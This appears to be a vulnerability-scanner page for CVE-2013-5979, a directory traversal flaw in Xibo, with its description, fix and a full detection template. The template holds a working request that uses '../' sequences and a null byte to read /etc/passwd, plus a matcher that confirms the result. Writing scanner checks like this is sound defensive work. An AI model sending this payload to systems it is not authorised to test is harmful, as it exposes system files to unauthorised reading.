Xibo 1.2.2/1.4.1 - Directory Traversal

mediumseverity

5CVSS score

18.1%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in Spring Signage Xibo 1.2.x before 1.2.3 and 1.4.x before 1.4.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the p parameter to index.php.

Impact

An attacker can read arbitrary files on the server.

Fix

Upgrade to a patched version of Xibo.

How to confirm it

Send: GET {{BaseURL}}/index.php?p=../../../../../../../../../../../../../../../../etc/passwd%00index&q=About&ajax=true&_=1355714673828
Positive when: matches /root:.*:0:0:/ AND status 200

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The full check

id: CVE-2013-5979

info:
  name: Xibo 1.2.2/1.4.1 - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in Spring Signage Xibo 1.2.x before 1.2.3 and 1.4.x before 1.4.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the p parameter to index.php.
  impact: |
    An attacker can read arbitrary files on the server.
  remediation: |
    Upgrade to a patched version of Xibo.
  reference:
    - https://www.exploit-db.com/exploits/26955
    - https://nvd.nist.gov/vuln/detail/CVE-2013-5979
    - https://bugs.launchpad.net/xibo/+bug/1093967
    - http://www.baesystemsdetica.com.au/Research/Advisories/Xibo-Directory-Traversal-Vulnerability-(DS-2013-00
    - http://www.baesystemsdetica.com.au/Research/Advisories/Xibo-Directory-Traversal-Vulnerability-%28DS-2013-00
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2013-5979
    cwe-id: CWE-22
    epss-score: 0.18125
    epss-percentile: 0.97224
    cpe: cpe:2.3:a:springsignage:xibo:1.2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: springsignage
    product: xibo
  tags: cve2013,cve,lfi,edb,springsignage,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?p=../../../../../../../../../../../../../../../../etc/passwd%00index&q=About&ajax=true&_=1355714673828"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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